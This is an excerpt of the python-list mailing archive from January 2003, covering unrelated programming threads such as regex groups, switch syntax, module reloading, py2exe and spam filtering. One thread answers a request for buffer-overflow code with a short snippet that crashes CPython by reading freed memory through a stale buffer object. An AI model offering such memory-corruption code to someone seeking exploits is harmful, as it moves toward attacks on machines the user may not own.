>The text I'm matching is more like this.
>	<a href="foo.html">
>	blah blah blah
>	<img src="fooabc.jpg">
>	blah blah
>	<img src="foocde.jpg">
>	more stuff
>	</a>
>I want [('foo', ['fooabc', 'foocde'])].  I have no problem with
>getting the RE to match everything.  It's just getting to all of
>the matched groups that's stopping me.
>
>If I use the RE you gave, I'll end up with something like this.
>	[('foo', ' blah blah blah <img src="fooabc.jpg"> blah blah <img
>src="foocde.jpg">', 'foocde')]
>That's going to require me to reprocess the second element.  It's
>inefficient and ugly.  Worse, it's not what I expected from the
>description in the documentation.
>
>--kyler

Got it.

1.  Harvey Thomas, in a nearby follow-up (how're
    gateway propagation delays today?) has sum-
    marized the main point far more aptly than 
    anything I wrote:  "You can't return a vari-
    able number of groups from a regex." (but 
    can Perl people?  They apparently tried to
    cram cement mixers, kitchen toasters, and
    turbojets inside their REs, so, who knows?)
2.  Oh, what you *really* want is HTML parsing.
    There are serious limits to RE's applicability
    in that role, as the columnists of <URL: http://
    www.unixreview.com/documents/s=2472/uni1037388368795/ >
    assert.  Get an HTML parser--then be ready to
    tweak it to accept all the junk that roams
    around in the wild.
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From alloydflanagan at attbi.com  Thu Jan 16 09:34:53 2003
From: alloydflanagan at attbi.com (A. Lloyd Flanagan)
Date: 16 Jan 2003 06:34:53 -0800
Subject: FW: Switch statements again
References: <E4AA6173DD435B45956B8E5F685B49452702F3@hyperspace.synchrologic.com> <1042672900.3e25ed04a5f1a@www.progoth.com> <20030116143057.B1683@regdp-02.intint.registriesltd.com.au> <15910.14790.560885.524643@montanaro.dyndns.org> <mailman.1042695688.821.python-list@python.org>
Message-ID: <a8b7f07a.0301160634.56f1c6c6@posting.google.com>

"David K. Trudgett" <dkt at registriesltd.com.au> wrote in message news:<mailman.1042695688.821.python-list at python.org>...
> That's interesting. I didn't know about that. What's Guido's take on
> it? (Since he seems to be the "Python Dictator".)

The correct title is "Benevolent Dictator For Life", frequently
abbreviated as BDFL.  There are severe penalties for ommitting the
"Benevolent", involving imprisonment and torture.  :)

> 
> Personally, I would go with the syntax change. Or maybe we should all

One thing I like about Python is that it's not cluttered up with a
whole lot of syntax.  On the other hand, 'switch' doesn't seem like a
bad idea.  Two suggestions:

1.  Call it something besides 'switch', which IMHO is not intuitive as
to its meaning.  How about something like 'select case'?
2.  Allow me to cast an emphatic vote agains fall-through, implicit or
explicit.  It obfuscates the code too much for the rare cases when
it's beneficial.  And
case 5:
    printf("something");
    break;
is at least one line longer than it has any reason to be.



From grante at visi.com  Wed Jan  8 00:02:15 2003
From: grante at visi.com (Grant Edwards)
Date: 08 Jan 2003 05:02:15 GMT
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <3e1b2565$0$213$a1866201@newsreader.visi.com> <52719db8.0301071948.71364a03@posting.google.com>
Message-ID: <slrnb1ncej.n6a.grante@localhost.localdomain>

In article <52719db8.0301071948.71364a03 at posting.google.com>, James Huang wrote:

>> If that's your definiton, all programming languages of which I'm aware are
>> "scripting languages".  At least under Linux, issuing "OS commands" is a
>> standard library function accessible to all languages.  C and assembly
>> language can both use the exact same system() or exec calls that Python and
>> Perl do.
> 
> Gee... Anyway, this is what I call scripting:
> 
>    copy '*.java, *.jj' except '*Test*' in '~/src/'
>         recursive echo
>         to '~/archive/today';
> 
>    copy '*.java, *.jj' except '*Test*' in '~/src/'
>         recursive echo
>         into '~/archive/today_src.jar';

Then python isn't a scripting language, since it can't do that sort of
stuff.  I think.  I don't know what the language above is nor what the
example does, but it appears to be manipulating files more-or-less directly
the way a shell script does.

Here is how you do an os command in C:

 system("ls -l >foo");
 
Here is how you do the same thing in Python:

 os.system("ls -l >foo")

Not much difference, eh?

> This is programming, "scriptingly":
> 
>    do 'http://www.google.com' as sgml
>    {
>    <a>:   println '<a>   link: ', $_.href;
>    <img>: println '<img> link: ', $_.src;
>    }
>
> This is pure programming:
> 
>    for i from 1 to 10 {
>      println i;
>    }

Then python is "pure programming".

-- 
Grant Edwards                   grante             Yow!  .. I don't understand
                                  at               the HUMOR of the THREE
                               visi.com            STOOGES!!



From peter at engcorp.com  Fri Jan 10 15:18:15 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 10 Jan 2003 15:18:15 -0500
Subject: backreference
References: <avmpkh$hra$1@wnnews.sci.kun.nl> <3E1F0860.843F9142@engcorp.com> <avn96u$nlb$1@wnnews.sci.kun.nl>
Message-ID: <3E1F2A87.B23A6F72@engcorp.com>

read-the-signature at send-spam-to-dev-null.com wrote:
> 
> Peter Hansen <peter at engcorp.com> wrote:
> > Does something like this help?
> >
> >>>> re.sub(r'([^,?])(([,?]))', r'\1 \2', 'Hello, how are you?')
> > 'Hello , how are you ?'

Oops... I seem to have an extra pair of parentheses around the second group...
artifact of my refactoring as I tried to get it to work.  You don't need
the (([,?])) there, just ([,?]) I think...

-Peter



From dsavitsk at ecpsoftware.com  Thu Jan  9 02:19:25 2003
From: dsavitsk at ecpsoftware.com (dsavitsk)
Date: Thu, 09 Jan 2003 07:19:25 GMT
Subject: Reload modules?
References: <iqcp1vo552354r8i2nqkj0pmf3l03ko5pp@4ax.com>
Message-ID: <1o9T9.6317$qU5.4969228@newssrv26.news.prodigy.com>

Afanasiy wrote:
> The main python script I execute from my python-embedded application
> imports some modules. In order for my application to recognize changes
> to those python scripted modules, I must restart it. However, changes to
> the main script itself are recognized without restarting my application.
> 
> Can I force a reload of modules while the application is running?

look at the reload function.




From morden at shadows.net  Mon Jan 13 23:15:03 2003
From: morden at shadows.net (morden)
Date: Mon, 13 Jan 2003 20:15:03 -0800
Subject: Tkinter: neither underline=1 nor bind() work on a Button
Message-ID: <avvslj$k1f$1@bob.news.rcn.net>

Here is modified snippet from Dialog.py:

if __name__ == '__main__':
     t = Button(None, {'text': 'Test',
                       'command': _test,
                       Pack: {}}, underline=1)
     t.bind('<Key-Meta_L>, <Key-t>', _test)
     t.bind('<Key-Alt_L>, <Key-t>', _test)
     t.bind('<Key-t>', _test)
     q = Button(None, {'text': 'Quit',
                       'command': t.quit,
                       Pack: {}})
     t.mainloop()


Alt-t does not work. Neither does Ctrl-t or plain t.
Pressing the button with the mouse does invoke _test.
Alt-e does not work.

Any ideas on how to fix this?




From claird at lairds.com  Wed Jan  8 12:42:55 2003
From: claird at lairds.com (Cameron Laird)
Date: Wed, 08 Jan 2003 17:42:55 -0000
Subject: Python and GIS
References: <avgqm7$3qn$00$1@news.t-online.com> <6qy95vvg5r.fsf@salmakis.intevation.de>
Message-ID: <v1ooov6mf21f40@corp.supernews.com>

In article <6qy95vvg5r.fsf at salmakis.intevation.de>,
Bernhard Herzog  <bh at intevation.de> wrote:
>Thomas Guettler <zopestoller at thomas-guettler.de> writes:
>
>> I need an interactive map:
>> 
>> The user should zoom in and out. In the smallest
>> view needed you should see towns. Some
>> towns should be "clickable". If you click on
>> a town data from our database should be displayed.
>> 
>> Now I need two things: The data and the viewer.
>> 
>> The data should be from russia.
>> 
>> It would be good if the data and the viewer are
>> open source. But this is not an obligation.
>
>Getting free geographic data is a big problem outside of the USA. I'm
>not sure about the situation in Russia but in Europe most geo-data
>collected by the government is sold only for very high fees.
			.
			.
			.
<URL: http://wiki.tcl.tk/tclworld > hints at what's possible
over a weekend.
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From martin at v.loewis.de  Thu Jan  2 16:28:26 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 02 Jan 2003 22:28:26 +0100
Subject: Executing a modified function
References: <r0idna5vDeAYNImjXTWcqg@comcast.com>
Message-ID: <m3r8bv44xx.fsf@mira.informatik.hu-berlin.de>

"Dave Bazell" <bazell at comcast.net> writes:

> If I enter python and run a funtion, then I modify it and try to run it
> again, it appears I execute the old version.  Is there a way to force the
> new version to be executed in this situation, without leaving python and
> starting again?

You need to reload the module.

Regards,
Martin



From exarkun at intarweb.us  Tue Jan 28 17:38:40 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Tue, 28 Jan 2003 17:38:40 -0500
Subject: Python vs. C++ Builder - speed of development
In-Reply-To: <pZCZ9.960$wd2.83257@newsread2.prod.itd.earthlink.net>
References: <3e36d04e_2@news.vo.lu> <pZCZ9.960$wd2.83257@newsread2.prod.itd.earthlink.net>
Message-ID: <20030128223840.GA27076@meson.dyndns.org>

On Tue, Jan 28, 2003 at 09:53:25PM +0000, Brandon Van Every wrote:
> 
> Python doesn't provide a GUI directly.

  Yes it does.

> [snip "more false statements"]

  Jp

-- 
 up 44 days, 1:49, 3 users, load average: 0.39, 0.38, 0.36
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030128/67bf1eb9/attachment.sig>

From dhostetler at sopris.net  Fri Jan  3 17:20:08 2003
From: dhostetler at sopris.net (.d.hos)
Date: 3 Jan 2003 14:20:08 -0800
Subject: ping multiple Ips with python
Message-ID: <8db020b9.0301031420.25e56f3b@posting.google.com>

bear with me as I'm fairly new to python -

We're trying to monitor various IP responses via a ping command, and
record errors to a database. we have about 350 IP numbers that need
this sort of logging, and walking through the IP sequentially seems to
take quite awhile.

I was wondering if there was a python module or utility that could
ping multiple IPs in a multithreaded fashion? or, any ideas how one
might code this functionality?

any ideas or insight welcome....thanks in advance .d.hos



From skip at pobox.com  Wed Jan 29 13:27:56 2003
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 29 Jan 2003 12:27:56 -0600
Subject: spambayes rocks
In-Reply-To: <87n0lkju8o.fsf@zamazal.org>
References: <rulk2v0346as3faklg246o9ct42n359t2u@4ax.com>
        <87fzre2xth.fsf@zamazal.org>
        <R8wZ9.31972$Vh.21432@news2.central.cox.net>
        <87n0lkju8o.fsf@zamazal.org>
Message-ID: <15928.7468.854246.715435@montanaro.dyndns.org>

    Milan> I've only clarified that solutions like spambayes help not only
    Milan> us, but also spammers.

For systems like SpamAssassin, where the database of spam/ham information is
stored centrally, I agree.  Spammers "only" have to tweak their messages to
thwart the contents of a single database.  With Spambayes and other similar
systems, spammers have no access to the spam/ham information, as it's stored
person-by-person.  If they are able to craft messages which are good enough
to sneak by, I suspect it's quite possible they are selling something I
might actually be interested in or know a hell of a lot about me.

    Milan> In a longer term, we have to find much more efficient combat
    Milan> methods against spammers.

I assume by "efficient" you mean closer to 100% accuracy.  At this point
Spambayes is there for me.  There's not much room left.  When a new spam (or
virus) comes out, it only takes me training on a few of them to squash them.
With SpamAssassin, I had to either manually develop my own rule or wait for
the next SA release.

None of this is meant as any sort of indictment of SA, by the way.  I used
it quite happily for a long time.  It was the first tool I encountered which
had any real success against spam at all.

Skip




From mwh at python.net  Fri Jan 17 06:32:51 2003
From: mwh at python.net (Michael Hudson)
Date: Fri, 17 Jan 2003 11:32:51 GMT
Subject: Idea: __all__ in classes?
References: <slrnb2e3kb.gp8.mlh@furu.idi.ntnu.no>
Message-ID: <7h3el7cm2o5.fsf@pc150.maths.bris.ac.uk>

mlh at furu.idi.ntnu.no (Magnus Lie Hetland) writes:

> I just had an idea: Perhaps the following could be a useful convention
> for private attributes (and methods)?

As a gut reaction, Heck No.  I'm a fan of cooperative encapsulation.

[snip heresy <wink>]
> With properties and metaclasses this should be fairly easy to
> implement. (The private stuff I've already implemented with properties
> a while back.)

How do you distinguish access from inside the class and access
outside?

> Of course this need not be the default behaviour; a superclass with
> a suitable __metaclass__ attribute would be sufficient...

In which case ...

> I guess my question is whether this seems like a good idea at all...
> And if it, perhaps, should be proposed as a PEP for inclusion in the
> standard libs or something?

... no.

All IMHO, of course.

Hmm, maybe pychecker could look for this sort of thing, though.  Or
you could issue warnings on "inappropriate" accesses.  Strangely, I
find that idea much more acceptable, and I'm not quite sure why.

Cheers,
M.

-- 
  The bottom tier is what a certain class of wanker would call
  "business objects" ...                      -- Greg Ward, 9 Dec 1999



From morden at shadows.net  Wed Jan 15 17:04:53 2003
From: morden at shadows.net (morden)
Date: Wed, 15 Jan 2003 14:04:53 -0800
Subject: Feeding commands to a remote python program versus using CORBA
Message-ID: <b04fn0$b37$1@bob.news.rcn.net>

I need to ditch ILU in a portion of our system (it's buggy). I'm torn 
between replacing ILU with something like OmniORB and embedding a python 
interpreter into the server (written in C++ unfortunately) and have it 
invoked in a fashion similar to that of telnetd. Corba seems like an
overkill but making function wrappers for what are corba method 
implementations on server seems like more more.

It's just a simple client->server subsystem, no fancy replication and 
distribution stuff.

Any thoughts on this?




From mwh at python.net  Tue Jan 14 07:32:00 2003
From: mwh at python.net (Michael Hudson)
Date: Tue, 14 Jan 2003 12:32:00 GMT
Subject: OT: spam filtering idea
References: <7xr8bhhy0n.fsf@ruckus.brouhaha.com> <avv6ah$clk$1@verence.demon.co.uk>
Message-ID: <7h3lm1nsyhm.fsf@pc150.maths.bris.ac.uk>

-$P-W$- at verence.demon.co.uk (Paul Wright) writes:

> That said, the obvious spammer
> response when people do that is to make messages which are more and more
> dissimilar for each recipient, again something where human malice can
> probably defeat automated attempts to find similar messages.

Two points spring to mind:

1) having to modify the message for each recipient makes the spammer's
   job harder -- a good thing.

2) the extreme so-unlikely-it's-never-going-to-happen extension of
   this line is that people only send me marketing material *I'm
   actually interested in* -- which would also be a good thing.

> The DCC's creator has said that he thinks that it will eventually be
> most useful against "mainsleaze", that is, spam from big businesses
> who will not want to use the sort of filter-evading tactics which
> are popular with the "enlarge your naked cheerleaders"[1] crowd.

A reflection of this fact is that spammers are clearly testing their
mails against SpamAssassin, whereas some mailshots I get, and want to
get, (the Apple Developer Connection News being a striking example)
frequently get flagged by SA as spam.

I'd install spambayes, but the starship is so thoroughly & viciously
protected *anyway* that I only get a tiny amount of spam as it is...

Cheers,
M.

-- 
  [Perl] combines all the worst aspects of C and Lisp: a billion
  different sublanguages in one monolithic executable.  It combines
  the power of C with the readability of PostScript. -- Jamie Zawinski



From exarkun at intarweb.us  Fri Jan 24 00:06:53 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Fri, 24 Jan 2003 00:06:53 -0500
Subject: Alternative to os.listdir()/os.stat()
In-Reply-To: <haf13vkfdu6al0h3ult2mu0r0688jq1dcg@4ax.com>
References: <mailman.1043304821.26500.python-list@python.org> <haf13vkfdu6al0h3ult2mu0r0688jq1dcg@4ax.com>
Message-ID: <20030124050653.GA14425@meson.dyndns.org>

On Thu, Jan 23, 2003 at 08:15:04PM -0800, Tim Roberts wrote:
> [snip]
> 
> >However, I noticed that this approach takes a long time when the
> >directory contains lots of files. So what I am looking for now is a
> >function that can give me the details is one go, much like 'ls -ltra' in
> >UNIX. 
> 
> You realize, of course that "ls -ltra" does exactly what your loop does?
> The only difference is that it's in C.

  Not -exactly- the same thing.  ls has the advantage of having access
opendir() and readdir(), which are significantly faster than repeated calls
to stat.  Hopefully a future version of posixpath.c will provide access to
these for us poor Python programmers.

  Jp

-- 
http://catandgirl.com/view.cgi?90
-- 
 up 39 days, 9:49, 4 users, load average: 0.50, 0.48, 0.45
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030124/3af07bf6/attachment.sig>

From oren-py-l at hishome.net  Sun Jan  5 04:22:12 2003
From: oren-py-l at hishome.net (Oren Tirosh)
Date: Sun, 5 Jan 2003 04:22:12 -0500
Subject: a new PEP?
In-Reply-To: <c09aca51.0301041334.f4c81d5@posting.google.com>
References: <c09aca51.0301041334.f4c81d5@posting.google.com>
Message-ID: <20030105092212.GA36088@hishome.net>

On Sat, Jan 04, 2003 at 01:34:37PM -0800, vm_usenet wrote:
> Hello everyone!
> 
> I have recently had the pleasure to develop a large-scal system with
> Python. Although the project went well, I did come across the fact
> that not only Python is not really multithreaded (which you all know,
> of course)- but it also does not support creation of multiple
> interpreters and running them in seperate threads - which might come
> in handy...
...
> Is there any way I can post this proposal to the PEP list?

This is not a limitation of the Python language but of the CPython
implementation of Python. I believe that the Jython implementation is
capable of instantiating multiple interpreters. Implementing this in
CPython will break C API compatibility and all third party extension
modules. Supporting multiple interpreters may be one of the goals of 
the next major version of Python (aka Python 3000). 

	Oren





From urba0083 at tc.umn.edu  Sat Jan 11 14:55:18 2003
From: urba0083 at tc.umn.edu (Michael Urban)
Date: Sat, 11 Jan 2003 13:55:18 -0600
Subject: Newbie simple py2exe problem
References: <ec902v00ap9a9s7fl450prj7sp1agv4t45@4ax.com> <pete.joos@pobox.com>  of "Sat, 11 Jan 2003 14:15:02 GMT." <ec902v00ap9a9s7fl450prj7sp1agv4t45@4ax.com> <mailman.1042296260.10798.python-list@python.org> <o7j02vkju89bajmdm2jr2obkjik1i22bpc@4ax.com> <3E205B02.3F201C08@engcorp.com> <jrq02v4rb3le6hfth6sk8nd8io1t8fmtt9@4ax.com>
Message-ID: <3E2076A6.3060903@tc.umn.edu>

Bubba wrote:

 > This is my setup.py
 > # setup.py
 >    from distutils.core import setup
 >    import py2exe
 >
 >    setup(name="counter",
 >          scripts=["counter.py"],
 >    )


And therin lies your syntax error. "from distutils.core import setup" 
cannot be indented since Python uses indentation for delimiting code 
blocks. "from" is part of the main block. Indenting it is causing the 
syntax error. That's why the carrot in the traceback is pointing to the 
space before "from" as well.




From mruiz at safa.es  Tue Jan 14 10:51:29 2003
From: mruiz at safa.es (Manuel Ruiz)
Date: Tue, 14 Jan 2003 15:51:29 GMT
Subject: base64.decodestring problem
Message-ID: <3e243043.3717561981@news.mad.ttd.net>

Hi,

I'm using base64 with xmlrpclib to implement a xmlrpc server.
The server is running fine, and the client under Linux/Solaris run
fine too.

However, the same client under Windows don't run correctly.

I'm receiving a file coded as base64 item into a xmlrpc message.
I decode this string and save it an a file. I'm using xmlrpclib to
perform parsing of xlmrpc responses. xmlrpclib uses
base64.decodestring() to perform decoding from base64 to binary.
If I save the decode string into a file: output.write( binaryData ),
this produce a corrupted file.

However, If I save the same base64 string (without decoding) to a file
and decode it using base64.decode( fileIn, fileOut ), binary file is
generated correctly.

Anyone could help me with this issue ?


Regards
Manuel Ruiz



From phr-n2003b at NOSPAMnightsong.com  Fri Jan 17 20:31:16 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 17 Jan 2003 17:31:16 -0800
Subject: Towards a Python machine?
References: <r3ah2vct96fthj6s6iq1albk9vbap48nsk@4ax.com>
Message-ID: <7xvg0nw8ez.fsf@ruckus.brouhaha.com>

John Hall <wweexxsseessssaa at telusplanet.net> writes:
> Years ago there was talk (isn't there always?) about Forth-on-a-chip
> or was that Forth-in-a-box? Did it come to anything?

Yeah, a number of Forth machines have been built.  Also Lisp and
Smalltalk machines.  A Lisp machine could probably run a Python-like
language pretty well.



From martin at v.loewis.de  Wed Jan  8 09:21:32 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 08 Jan 2003 15:21:32 +0100
Subject: python compiler package questions
In-Reply-To: <69413f9.0301080545.612e42f7@posting.google.com>
References: <69413f9.0301080545.612e42f7@posting.google.com>
Message-ID: <3E1C33EC.1030800@v.loewis.de>

Phil Schmidt wrote:
> Does this sound like a practical approach? If not, what would you
> suggest instead?

Please look at various IPC papers presenting approaches similar to the 
one you are suggesting. Those people have started from the byte code, 
though, and generate C code from that.

Whether this approach is practical depends on what you mean to achieve. 
People who wanted to demonstrate that this is possible have succeeded, 
people who wanted to obtain performance improvements by doing so have 
failed.

People who want to use Python in embedded environments have not 
attempted to use this approach. Instead, they have successfully ported 
Python to their target systems, and managed to run a "full" Python on 
those systems. "Full" means that they support all of the Python language 
- the real space savings come from dropping various parts of the 
standard library, and even dropping some builtin types.

> I found that the code parsed ok as shown above - i.e., no error with
> the argument list to afunc - though I think this should produce an
> error. 

Yes, it is likely that the compiler package does not perform the same 
static checks as the builtin compiler. If you can, please find the bugs 
and submit patches to sf.net/projects/python; else please submit bug 
reports.

> So, is this really a bug, or did the parser do the right thing?

If the builtin compiler reports and error and the compiler package does 
not, it's an error - the package is supposed to produce identical 
results to the builtin compiler.

> If it IS a bug, will this be fixed in 2.3? Should I "officially"
> report it?

Please do.

Martin




From urfaust at optushome.com.au  Sat Jan  4 18:21:24 2003
From: urfaust at optushome.com.au (faust)
Date: Sat, 04 Jan 2003 15:21:24 -0800
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <slrnb18rrp.7kd.rmunn@rmunnlfs.dyndns.org> <slrnb19use.h00.grey@teleute.dmiyu.org> <3e154de3_2@mk-nntp-2.news.uk.tiscali.com> <3E156ABB.CC059072@alcyone.com> <877kdmax29.fsf@gvdnet.dk> <3E16382D.48801EF9@alcyone.com>
Message-ID: <p2re1vgd9c077mi7cpgjh3o7itsgnogoia@4ax.com>

 Erik Max Francis <max at alcyone.com> ,  emitted these fragments:

 
>It's also possible there are different metrics for "learning curve"
>being used here.  If you were to insist that learning curve apply to
>_all_ of emacs' features, then yes, obviously it has a massive learning
>curve simply because there are so many. 

Good point.

I use emacs as my only editor.
I use emacs eshell as my only commandshell ( when in XP or NT )
I use emacs calc as my sole calculator
I use emacs calendar as my sole calendar.

However, I am not familiar enough with gnus to use it as my sole email
and news reader.

Some day, when I have learned enough about gnus, I hope to do so....

--------------------------------------------------------
Come see,
real flowers
of this pain-filled world.

(from Basho)



From johnroth at ameritech.net  Sun Jan 26 08:15:22 2003
From: johnroth at ameritech.net (John Roth)
Date: Sun, 26 Jan 2003 08:15:22 -0500
Subject: December 2002 comp.lang.* stats
References: <b0tctd$9cn$1@bob.news.rcn.net> <mailman.1043502285.20597.python-list@python.org> <b0ubqb$oiv$3@bob.news.rcn.net> <3E32E5D6.82887F98@engcorp.com> <3E333E22.D69C6E87@alcyone.com> <3E335278.8F2DD2E8@engcorp.com>
Message-ID: <v37notrtic4bb8@news.supernews.com>

"Peter Hansen" <peter at engcorp.com> wrote in message
news:3E335278.8F2DD2E8 at engcorp.com...
> Erik Max Francis wrote:
> >
> > Peter Hansen wrote:
> >
> > > Spam is probably a problem best ignored.  It would probably
> > > affect all those groups equally anyway.
> >
> > Actually, that's one of the problems with his collapsing hierarchies
> > into a single number.  To first order, spammers would probably post
to
> > every comp.* group with the same frequency.  So if a hierarchy
contains
> > six groups, the raw numbers will likely be overcounting spam by
> > approximately a factor of six, as compared to a solitary newsgroup.
>
> I would think that removing unique posters would eliminate a lot
> of this effect, as the same poster would be sending to each newsgroup.
> Yes, many use random addresses... but don't they still send in bulk?
>
> > To second order, there's probably an additional effect of newsgroups
> > with names that sort lexicographically early getting more spam,
since
> > more spammers do their spams sequentially, and those that get
forcibly
> > stopped will be less likely to hit comp.lang.z than comp.lang.a.
>
> I strongly doubt anyone gets stopped fast enough to prevent their
> spamming one comp.lang group shortly after they've done another one.
>
> In the end, my comment should really be taken as "spam is a small
> enough issue, in my experience, to be ignored in the results as
> mere noise".  I readily admit my experience is limited to c.l.p
> and several other groups *not* in the c.l. hierarchy, so maybe
> some of those other groups get *much* more spam than c.l.p, but
> I sort of doubt it.  Maybe someone will take the time to calculate
> actual numbers to prove or disprove this point.  I wouldn't bother
> though.
>
> -Peter

I've been amused by this subthread, since I've almost never seen
spam in any of the comp.* groups I frequent. Maybe this has to
do with my using a paid service that does an excellent job of
de-spamming their newsfeed.

If someone wants to run the script against, say, Supernews,
I doubt if the numbers would be significantly different. But maybe
they would be.

John Roth





From tvassila at siac.com  Fri Jan 31 09:54:53 2003
From: tvassila at siac.com (Thanos Vassilakis)
Date: Fri, 31 Jan 2003 09:54:53 -0500
Subject: need sample for file-upload via http with auth
Message-ID: <OFB5F014BE.77FCF2B7-ON85256CBF.0051A095@nsmtp.siac.com>

Try pso [http://www.sourceforge.net/projects/pso/] it makes uploading easy
and practical.

The user guide is
http://www.scriptfoundry.com/modules/pso/doc/pso-guide.html
And even if you don't want to use the pso library you can look at its
source code to get ideas.

thanos



                                                                                                                                               
                    Marian F?rster                                                                                                             
                    <marian.foerster at informatik.tu-ch        To:     python-list at python.org                                                    
                    emnitz.de>                               cc:                                                                               
                    Sent by:                                 Subject:     Re: need sample for file-upload via http with auth                   
                    python-list-admin at python.org                                                                                               
                                                                                                                                               
                                                                                                                                               
                    01/30/2003 10:16 AM                                                                                                        
                                                                                                                                               
                                                                                                                                               




as multipart/form-data

Marian F?rster wrote:

> need sample for file-upload via http with auth
>

--
http://mail.python.org/mailman/listinfo/python-list








From eat at joes.com  Fri Jan 17 21:38:27 2003
From: eat at joes.com (donoli)
Date: Sat, 18 Jan 2003 02:38:27 GMT
Subject: buffer overflow
References: <b0808g$b4j$2@wheel2.two14.net> <mailman.1042778911.1136.python-list@python.org>
Message-ID: <3veh2v4drk4bq5vlnggqevgvlt6ik6fanh@4ax.com>

On Thu, 16 Jan 2003 23:47:02 -0500, Tim Peters <tim.one at comcast.net>
wrote:

>[donoli]
>> I have two machines, FreeBSD 4,2  and  W2K pro.  I'd like to test the
>> security on both of them against a buffer overflow.  If someone has
>> the code in python for a buffer overflow, please post it.
>> donoli.
>
>[Martin v. Loewis]
>> Python does not support buffer overflows, sorry.
>
>[pmaney at pobox.com]
>> I'm sure they could be added by a C extension module.
>
>They already were, and, curiously enough, by the builtin bufferobject.c.
>That supplies the builtin, little understood, and easily abused buffer
>object.  For fun, run this:
>
>"""
>from array import array
>from random import randrange
>
>i = 0
>while 1:
>    i += 1
>    print i,
>    a = array('c', 'x' * randrange(10000))
>    b = buffer(a)
>    a.extend(array('c', 'y' * randrange(10000)))
>    c = list(b)
>"""
>
>Chances are high it will die with a segfault before going around the loop 20
>times, because the buffer object created by buffer() can be left pointing at
>freed memory by the array object guts getting reallocated, and then list(b)
>ends up reading God-only-knows-what from the stale buffer object.  Some of
>the smarest people I know have refused to fix this <wink>.
>
#######################
On W2K the code just forced python to close.  It didn't hang the
machine.  On FreeBSD it gave me some errors.  Here they are:
from: can't  read /vasr/mail/array
from: can't read /var/mail/random
9: Syntax error: '(' unexpected (expecting 'do')

I also tried it as a remote exploit from one machine to another which
was my original intenetion but I failed to mention it in my original
post.  I wanted to find some code where I could do something like:
python buffer.py > 192.160.0.2    That also forced python to close.

Is there a way to do something like that?  Also, can you explain
bufferobjet.c?

Thanks 
donoli.
#######################



From skip at pobox.com  Thu Jan 23 09:46:05 2003
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 23 Jan 2003 08:46:05 -0600
Subject: datetime module for Python 2.2
In-Reply-To: <b0ot5j$9od$1@main.gmane.org>
References: <b0ot5j$9od$1@main.gmane.org>
Message-ID: <15920.45.803222.197823@montanaro.dyndns.org>

    Donnal> Is there a pure Python version of the new datetime module (or
    Donnal> portions thereof) that I could use for development on 2.2.2...

Sure, check out the version in the sandbox:

    http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/nondist/sandbox/datetime/

I believe Tim Peters has been keeping both versions in sync with one
another.

Skip




From jeremy at jdyallop.freeserve.co.uk  Mon Jan 13 09:09:06 2003
From: jeremy at jdyallop.freeserve.co.uk (Jeremy Yallop)
Date: 13 Jan 2003 14:09:06 GMT
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann] Minimal Python project)
References: <7x8yxqduco.fsf@ruckus.brouhaha.com> <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042427842.32098.python-list@python.org>
Message-ID: <avuha2$jivd2$1@ID-114079.news.dfncis.de>

* Christian Tismer
| While a name is most unimportant for me,
| I agree that it *is* important for the
| community to be able to spell it.
| 
| Anyone having some good suggestions?

Pygmy.




From peter at engcorp.com  Tue Jan  7 10:47:29 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 07 Jan 2003 10:47:29 -0500
Subject: Opinions, please: Repository module
References: <mailman.1041806169.632.python-list@python.org> <mailman.1041878643.15780.python-list@python.org> <ave3p6$2j4$01$1@news.t-online.com> <3E1ADD91.64654736@engcorp.com> <avepbh$bb5$04$1@news.t-online.com>
Message-ID: <3E1AF691.713D809@engcorp.com>

Stephan Diehl wrote:
> 
> Peter Hansen wrote:
> > Without some kind of server running on top of the ZODB, and client
> > software which talks the protocol the server wants, you won't get very
> > far.
> >
> > Or am I misinterpreting something?
> 
> You are right, but the ZODB package contains a Server called ZEO.
> Have a look at: http://www.amk.ca/zodb/zodb-zeo.html

Ah, cool!  I didn't realize ZEO was bundled with the standalone ZODB,
nor that it had a ClientStorage class like that.  Nice...

-Peter



From andrew-pythonlist at puzzling.org  Thu Jan  9 06:29:33 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Thu, 9 Jan 2003 22:29:33 +1100
Subject: Do pythons like sugar?
In-Reply-To: <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com>
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com> <avjj5d$8cn$1@slb3.atl.mindspring.net> <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com>
Message-ID: <20030109112933.GA31993@frobozz.local>

On Thu, Jan 09, 2003 at 10:47:13AM +0000, Afanasiy wrote:
